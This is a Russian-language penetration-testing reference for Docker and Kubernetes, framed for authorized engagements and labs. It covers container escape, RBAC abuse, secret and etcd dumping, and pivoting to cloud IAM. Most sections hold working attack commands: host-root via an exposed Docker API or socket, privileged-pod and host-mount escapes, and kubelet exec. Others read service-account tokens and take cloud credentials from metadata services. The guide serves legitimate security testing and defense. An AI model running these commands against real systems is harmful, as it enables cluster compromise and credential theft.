Углублённый справочник по пентесту контейнерной инфраструктуры: Docker, container runtime и Kubernetes. Полный путь от обнаружения открытого демона до побега из контейнера, захвата RBAC и компрометации кластера — включая managed-облака (EKS/AKS/GKE) и pivot в cloud-аккаунт. Каждая техника: суть, предусловие, как проверить, типичная команда, что увидит защита. Только авторизованный scope или своя лаба (kind, minikube, kube-goat).
Контейнер — это не виртуалка, а процесс хоста с урезанным видом на систему. Изоляция держится на ядерных примитивах (namespaces, cgroups, capabilities, seccomp, LSM), и почти каждый побег — это ослабление одного из них в конфигурации. Kubernetes добавляет поверх ещё один слой: API-сервер, RBAC, service-account-токены и сетевую модель, где один доступный pod часто открывает путь к узлу, а узел — к кластеру и облаку. Классический инфра-пентест этот слой не покрывает.
Понимание примитивов — ключ ко всем побегам: ломается именно ослабленный примитив.
| Примитив | Что изолирует / ограничивает | Ослабление = вектор |
|---|---|---|
| namespaces | PID, NET, MNT, IPC, UTS, USER — отдельный «вид» на систему | hostPID/hostNetwork/hostIPC возвращают вид хоста |
| cgroups | лимиты CPU/RAM/IO | release_agent → выполнение на хосте (классич. побег) |
| capabilities | дробление root на привилегии | CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_DAC_* |
| seccomp | фильтр системных вызовов | unconfined открывает опасные syscalls |
| LSM (AppArmor/SELinux) | мандатный контроль доступа | профиль unconfined снимает ограничения |
| user namespace | маппинг root контейнера в непривилег. на хосте | часто выключен → root=root |
Типовой путь компрометации. Как и в AD — это граф, а не линия: входная точка может быть на любом уровне.
# Высокоуровневый поток external → открытый Docker API / kubelet / registry / dashboard foothold → RCE в приложении → шелл внутри pod'а recon → кто я: SA-токен, capabilities, mounts, env, доступ к API breakout → побег из контейнера на узел (mount/cap/sock/CVE) cluster → RBAC abuse → secrets → service accounts → etcd lateral → pod→pod, узел→узел, доступ к control plane cloud → node IAM / IMDS → pivot в облачный аккаунт
Получив шелл в контейнере, сразу собираешь контекст: кто ты, что примонтировано, какие привилегии, виден ли API.
# Я в контейнере? базовые маркеры cat /proc/1/cgroup; ls -la /.dockerenv 2>/dev/null # namespaces и capabilities текущего процесса cat /proc/self/status | grep -i cap capsh --print 2>/dev/null # Опасные монтирования (docker.sock, hostPath, /proc хоста) mount | grep -iE 'docker.sock|/host|/proc|/var/run' cat /proc/mounts # Признаки Kubernetes и SA-токен env | grep -i kube ls -la /var/run/secrets/kubernetes.io/serviceaccount/
docker.sock, hostPath: / или CAP_SYS_ADMIN превращают шелл в контейнере в шелл на узле почти мгновенно. Сначала ищешь именно это.Контейнерная инфраструктура часто торчит наружу незаметно: незащищённый Docker API, открытый kubelet, дашборд без аутентификации, публичный registry. Цель раздела — найти эти точки входа до того, как понадобится эксплойт.
| Порт | Сервис | Чем опасен |
|---|---|---|
| 2375 | Docker API (без TLS) | полный контроль демона = root на узле |
| 2376 | Docker API (TLS) | при слабой/отсутствующей верификации клиента |
| 10250 | kubelet API | exec/logs на pod'ах узла |
| 10255 | kubelet read-only | утечка pod-спеков, env, токенов |
| 6443 / 8443 | kube-apiserver | anonymous-доступ → энумерация/действия |
| 2379–2380 | etcd | вся БД кластера, включая секреты |
| 5000 | Docker registry | образы, секреты в слоях, push-poison |
Открытый 2375 — это мгновенный root на узле: создаём контейнер с примонтированным хостом.
# Проверка доступности API curl -s http://TARGET:2375/version docker -H tcp://TARGET:2375 info # Эскалация: контейнер с примонтированной ФС хоста docker -H tcp://TARGET:2375 run -v /:/host -it alpine chroot /host sh # дальше — обычный шелл на узле
Kubelet на 10250 позволяет выполнять команды в pod'ах узла; 10255 отдаёт спеки без аутентификации.
# Read-only порт: список pod'ов, env, иногда токены curl -s http://TARGET:10255/pods | jq '.items[].metadata.name' # kubelet 10250: список и exec (если auth отключён/слаб) curl -sk https://TARGET:10250/pods # exec в контейнер через kubelet kubeletctl -i --server TARGET exec "id" -p POD -c CONTAINER -n NAMESPACE
| Цель | Признак |
|---|---|
| Kubernetes Dashboard | открыт без auth → действия от имени его SA |
| cAdvisor / metrics | 4194 / metrics-эндпоинты — утечка структуры |
| Helm Tiller (legacy) | 44134 — деплой от имени cluster-admin |
| Облачные метаданные | 169.254.169.254 с узла → IAM узла (см. раздел 10) |
До Kubernetes — сам Docker. Большинство «побегов» уровня хоста начинаются не с CVE, а с конфигурации: проброшенный сокет, привилегированный контейнер, опасные capabilities или монтирования.
Если /var/run/docker.sock примонтирован внутрь контейнера — это управление демоном хоста, то есть root на узле в один шаг.
# Сокет внутри контейнера? ls -la /var/run/docker.sock # Через сокет создаём контейнер с ФС хоста и выходим в chroot docker -H unix:///var/run/docker.sock run -v /:/host -it alpine \ chroot /host sh # Без docker-cli — напрямую по API через curl curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
--privileged снимает почти всю изоляцию: все capabilities, доступ к устройствам хоста, отключённые профили. Побег тривиален через монтирование дисков узла.
# Признаки privileged: много capabilities, доступ к /dev хоста capsh --print | grep -i cap_sys_admin ls /dev | head # видны диски хоста (sda, nvme...) # Монтируем диск узла и читаем/пишем его ФС fdisk -l mount /dev/sda1 /mnt && chroot /mnt sh # шелл на хосте
Даже без --privileged отдельные capabilities дают побег. Проверяй, что реально выдано контейнеру.
| Capability | Что даёт |
|---|---|
| CAP_SYS_ADMIN | mount, cgroups → классический release_agent-побег |
| CAP_SYS_PTRACE | инъекция в процессы хоста (при общем PID-ns) |
| CAP_SYS_MODULE | загрузка модуля ядра = полный контроль хоста |
| CAP_DAC_READ_SEARCH | обход прав на чтение → чтение ФС хоста (shocker) |
| CAP_NET_RAW | спуфинг/снифинг в сети контейнера |
Проброс хостовых путей внутрь — частый мисконфиг, дающий запись в чувствительные места узла.
| Монтирование | Эксплуатация |
|---|---|
-v /:/host | прямой доступ ко всей ФС узла |
/var/run/docker.sock | управление демоном (выше) |
/proc хоста | запись в core_pattern/sysrq → выполнение на хосте |
/etc, /root/.ssh | подмена cron/authorized_keys |
host /var/lib/kubelet | чужие SA-токены и секреты pod'ов узла |
Когда дешёвые пути (sock, privileged, host-mount) закрыты, побег строится на ослабленных примитивах ядра и известных уязвимостях runtime. Каждый приём требует конкретного предусловия — сначала проверяй его наличие.
Классика: при CAP_SYS_ADMIN и возможности монтировать cgroup можно заставить ядро выполнить команду на хосте через release_agent.
# Предусловие: CAP_SYS_ADMIN + запись в cgroup # Идея (схема, не для слепого копипаста): # 1) смонтировать cgroup rdma, включить notify_on_release # 2) прописать release_agent на скрипт во временной точке # 3) положить полезную команду в скрипт, дёрнуть пустой cgroup # -> ядро выполнит скрипт в namespace хоста # Автоматизировано в CDK / amicontained / deepce (см. раздел 11)
Если примонтирован /proc хоста (или доступен через общий ns), запись в core_pattern заставляет ядро запустить хендлер при креше — на хосте.
# Предусловие: доступ к /proc/sys/kernel/core_pattern хоста на запись cat /proc/sys/kernel/core_pattern # при наличии записи core_pattern направляется на |/путь/к/хендлеру, # который выполняется ядром в контексте хоста при core dump
Побеги через баги самого runtime. Проверяй версии — многие закрыты, но в проде живут старые.
| CVE / класс | Суть |
|---|---|
| CVE-2019-5736 | перезапись runc бинаря хоста при exec |
| CVE-2022-0492 | cgroups v1 release_agent без CAP (повышение) |
| CVE-2024-21626 | «leaky vessels»: утечка fd → побег через рабочую директорию |
| Dirty Pipe / COW | ядерные баги записи → запись в хостовые файлы |
hostPID/hostNetwork/hostIPC возвращают контейнеру вид хоста — это путь к процессам, сети и памяти узла.
# hostPID: видны процессы хоста -> nsenter в init узла ps -ef | head nsenter --target 1 --mount --uts --ipc --net --pid -- sh # при привилегиях # hostNetwork: доступ к loopback-сервисам узла (kubelet, metadata) curl -s http://127.0.0.1:10255/pods
id на хосте, чтение маркер-файла), не разворачивай персистентность и не трогай чужие workload'ы без явного согласования в RoE.Образ — это и поверхность атаки, и кладезь секретов. Слои хранят историю сборки, registry часто доступен без аутентификации, а возможность push'а открывает supply-chain-вектор.
Удалённый в финальном слое секрет остаётся в истории. Разбор слоёв вытаскивает ключи, токены, пароли сборки.
# История сборки часто содержит ARG/ENV с секретами docker history --no-trunc IMAGE # Разбор слоёв и поиск секретов dive IMAGE # интерактивный обзор слоёв docker save IMAGE -o img.tar && mkdir x && tar -xf img.tar -C x grep -rEi 'api[_-]?key|secret|password|BEGIN .* PRIVATE KEY' x/ # Специализированные сканеры секретов по образу trufflehog docker --image IMAGE
Registry без auth отдаёт каталог образов и их содержимое; с правом push — позволяет подменить образ.
# Каталог образов curl -s http://REG:5000/v2/_catalog | jq . curl -s http://REG:5000/v2/IMAGE/tags/list # Скачать манифест/слои для разбора curl -s http://REG:5000/v2/IMAGE/manifests/latest \ -H 'Accept: application/vnd.docker.distribution.manifest.v2+json'
| Сканер | Что находит |
|---|---|
| Trivy | CVE пакетов, секреты, мисконфиги Dockerfile/IaC |
| Grype | уязвимости по SBOM |
| Dockle | нарушения best-practice (root-user, latest, etc.) |
| Syft | генерация SBOM (состав образа) |
Чтобы атаковать кластер, надо понимать его компоненты и где у них слабые места. Затем — определить свою позицию: какой у меня токен, что мне разрешено, виден ли API-сервер.
| Компонент | Роль | Слабое место |
|---|---|---|
| kube-apiserver | фронт всего кластера | anonymous-доступ, слабый RBAC |
| etcd | БД кластера | незашифрованные секреты, открытый порт |
| kubelet | агент на узле | exec без auth, токены узла |
| controller/scheduler | управление состоянием | привилегированные SA |
| service accounts | идентичность pod'ов | токены, лишние права, automount |
Из pod'а с SA-токеном первым делом выясняем личность и разрешения.
# SA-токен монтируется автоматически (если не отключён) TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace) API=https://kubernetes.default.svc # Кто я (если есть kubectl) kubectl auth whoami # Что мне можно (ключевая команда рекона прав) kubectl auth can-i --list # Без kubectl — напрямую к API curl -sk -H "Authorization: Bearer $TOKEN" $API/api/v1/namespaces/$NS/pods
Иногда API-сервер пускает анонимов или выдаёт лишнее неаутентифицированным. Проверяй до получения токена.
# Anonymous-проба к API curl -sk $API/api/v1/namespaces curl -sk $API/version # Что доступно анонимной роли kubectl auth can-i --list --as=system:anonymous
RBAC — это authz Kubernetes. Эскалация почти всегда сводится к одному из «опасных» разрешений, которое позволяет получить более привилегированную личность или выполнить код в привилегированном контексте.
# Свои права kubectl auth can-i --list # Все роли/привязки (если разрешено читать RBAC) kubectl get clusterroles,roles,clusterrolebindings,rolebindings -A # Автоматический разбор: кто что может # rbac-police / kubiscan / krane — находят опасные комбинации kubiscan -rs # risky subjects
Каждый из этих глаголов на нужном ресурсе — путь к эскалации до cluster-admin.
| Разрешение | Почему опасно |
|---|---|
| create pods | запуск привилегированного pod'а → побег на узел |
| pods/exec | выполнение в чужих pod'ах |
| get secrets | чтение токенов/паролей всего namespace |
| impersonate | действия от имени другого пользователя/SA/группы |
| bind / escalate | привязать себе/SA более мощную роль |
| create token / TokenRequest | выпуск токена привилегированного SA |
| control над workload-контроллерами | deployments/daemonsets → запуск кода на узлах |
# 1) create pods -> привилегированный pod с hostPath: / # монтируем корень узла, читаем kubelet-токены/секреты соседей # 2) get secrets -> токен привилегированного SA -> действуем им kubectl get secret SA-TOKEN -o jsonpath='{.data.token}' | base64 -d # 3) impersonate -> выполняем от имени cluster-admin kubectl get secrets -A --as=system:serviceaccount:kube-system:PRIV-SA # 4) bind/escalate -> привязываем cluster-admin своему SA
Pod Security в Kubernetes управляется через Pod Security Standards/Admission и securityContext. Побег из pod'а на узел — это эксплуатация ослабленного контекста: привилегии, host-namespaces, host-mount или забытый SA-токен.
| Поле | Риск |
|---|---|
privileged: true | полный доступ к узлу (см. раздел 02) |
hostPID / hostNetwork / hostIPC | вид процессов/сети/памяти хоста |
hostPath volume | монтирование путей узла (особенно /) |
allowPrivilegeEscalation: true | setuid-повышение внутри |
capabilities.add: [SYS_ADMIN] | cgroups-побег |
runAsUser: 0 + нет userns | root контейнера = root хоста |
При праве create pods разворачиваем pod с доступом к узлу и выходим в его ФС. Это самый частый путь node-компрометации в кластере.
# Схема манифеста привилегированного pod'а (для авторизованной лабы) # spec: # hostPID: true # containers: # - image: alpine # securityContext: { privileged: true } # volumeMounts: [{ name: host, mountPath: /host }] # volumes: [{ name: host, hostPath: { path: / } }] # После запуска — chroot в ФС узла kubectl exec -it priv-pod -- chroot /host sh # Автоматизация: peirates умеет создавать такой pod из захваченного SA
Получив узел, читаешь токены всех pod'ов, что на нём крутятся — каждый может иметь свои права в кластере.
# На узле токены лежат под kubelet find /var/lib/kubelet/pods -name token 2>/dev/null # каждый токен -> своя личность; прогоняем can-i по каждому # ищем тот, у кого больше прав (привилегированный SA)
warn вместо enforce.После закрепления — горизонтальное движение: чтение секретов, переход между pod'ами и узлами, доступ к etcd и control plane. Цель — собрать достаточно идентичностей для контроля кластера.
# Секреты namespace / всех namespace (при правах) kubectl get secrets -A kubectl get secret NAME -o jsonpath='{.data}' | jq 'map_values(@base64d)' # Секреты в env и configmaps — частая утечка kubectl get pods -A -o yaml | grep -iE 'password|token|key' kubectl get configmaps -A -o yaml | grep -iE 'password|token|key'
etcd хранит всё, включая секреты (часто без шифрования at-rest). Прямой доступ = весь кластер.
# Если etcd доступен и есть клиентские сертификаты узла ETCDCTL_API=3 etcdctl --endpoints=https://127.0.0.1:2379 \ --cacert=ca.crt --cert=client.crt --key=client.key \ get / --prefix --keys-only | head # Чтение секрета напрямую из etcd ETCDCTL_API=3 etcdctl get /registry/secrets/NS/NAME
Без NetworkPolicy pod'ы свободно ходят друг к другу — внутренние сервисы, БД, метаданные доступны изнутри.
| Цель | Приём |
|---|---|
| Внутренние сервисы | скан Cluster IP диапазона, DNS-перебор *.svc |
| Соседние pod'ы | прямое подключение при отсутствии NetworkPolicy |
| kube-dns | энумерация сервисов через DNS |
| Узловые сервисы | kubelet/metadata с hostNetwork pod'а |
Контроль над тем, что попадает в кластер: образы, их провенанс и admission-контроллеры, которые должны это фильтровать. Слабости здесь дают тихий и устойчивый доступ.
Admission (validating/mutating webhooks, OPA/Gatekeeper, Kyverno) решает, пускать ли объект. Обход или отсутствие политик открывает запуск опасных pod'ов.
| Сигнал | Риск |
|---|---|
| Нет admission-политик | любой может создать privileged pod |
| Политика в режиме audit/warn | предупреждает, но пропускает |
| Mutating webhook с правами | компрометация webhook = инъекция в любой pod |
| failurePolicy: Ignore | падение webhook = обход контроля |
Отсутствие проверки подписи позволяет подсунуть свой образ. Cosign/sigstore — стандарт, но часто не enforced.
# Проверка, требует ли кластер подписанные образы # (policy: cosign verify в admission). Если нет — подмена возможна. cosign verify --key cosign.pub REGISTRY/IMAGE:TAG # SBOM и аттестации — есть ли вообще provenance cosign download sbom REGISTRY/IMAGE:TAG
| Вектор | Идея |
|---|---|
| Креды деплоя в CI | kubeconfig/SA-токен в переменных пайплайна |
| Саморазмещённые раннеры | выполнение в кластере с лишними правами |
| Доступ к registry из CI | push-poison через скомпрометированный пайплайн |
| GitOps-репозиторий | правка манифеста → авто-деплой в кластер |
EKS, AKS, GKE добавляют слой облачной идентичности: у узлов и pod'ов есть IAM-роли. Компрометация узла часто превращается в доступ к облачному аккаунту — самый дорогой исход. Здесь контейнерный пентест смыкается с облачным (см. Cloud & Identity Reference).
С узла (или pod'а с hostNetwork) доступен сервис метаданных — это креды IAM-роли узла.
# AWS IMDS (в лабе/своём аккаунте). IMDSv2 требует токен: TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 60") curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/ # GCP / Azure — свои эндпоинты метаданных curl -s -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
| Механизм | Риск |
|---|---|
| IRSA (EKS) | SA привязан к IAM-роли → токен pod'а = облачные права |
| Workload Identity (GKE) | SA маппится в GCP service account |
| AAD Pod Identity / Workload (AKS) | pod получает Entra-идентичность |
| Node IAM слишком широкая | узел может больше, чем нужно → pivot |
# С добытыми кредами узла/pod'а — энумерация облачных прав aws sts get-caller-identity aws iam list-attached-role-policies --role-name NODE-ROLE # Дальше — как в облачном пентесте: privesc, доступ к ресурсам. # Подробно — в ZavetSec Cloud & Identity Reference.
Сводный арсенал и порядок работы. Инструменты автоматизируют рекон и побеги, но решения принимаются по контексту: где я, насколько близок к узлу, что мне разрешено.
| Инструмент | Роль |
|---|---|
| peirates | пост-эксплуатация K8s из захваченного pod'а: токены, pod-побег, pivot |
| deepce | энумерация и автопобеги Docker-контейнера |
| CDK | zero-dependency набор для эксплуатации контейнеров |
| amicontained | что за рантайм, какие capabilities/seccomp активны |
| kubeletctl | взаимодействие с kubelet API (exec, pods) |
| Инструмент | Назначение |
|---|---|
| kube-hunter | поиск открытых поверхностей кластера (remote/pod) |
| kubiscan / rbac-police | анализ RBAC, поиск опасных субъектов |
| kube-bench | проверка по CIS Kubernetes Benchmark |
| Trivy / Grype / Dockle | сканирование образов и мисконфигов |
| kubectl-who-can | кто может выполнить конкретное действие |
| checkov / kubescape | статанализ манифестов и политик |
1. Scope RoE, границы (узлы? облако? control plane?), окно, лимиты 2. Recon открытые Docker API / kubelet / registry / dashboard / etcd 3. Foothold шелл в pod'е (через приложение) либо доступ к API 4. Aware кто я: SA-токен, can-i --list, caps, mounts, env 5. Breakout дешёвые пути (sock/priv/host-mount) → затем cap/CVE 6. Cluster RBAC abuse → secrets → привилегированные SA → etcd 7. Lateral pod→pod, узел→узел, control plane 8. Cloud node/pod IAM → IMDS → pivot (если в scope) 9. Report PoC, влияние, ремедиация; cleanup всех созданных объектов
| Поле | Содержание |
|---|---|
| Предусловие | что именно было ослаблено (cap, mount, RBAC-глагол, версия) |
| PoC | минимальная команда/манифест, подтверждающие доступ |
| Влияние | узел / кластер / облако — до какого уровня доходит компрометация |
| Ремедиация | Pod Security Admission, RBAC least-privilege, политики, шифрование etcd, IMDSv2 |
| Cleanup | удалить созданные pod'ы/привязки/токены, зафиксировать каждое изменение |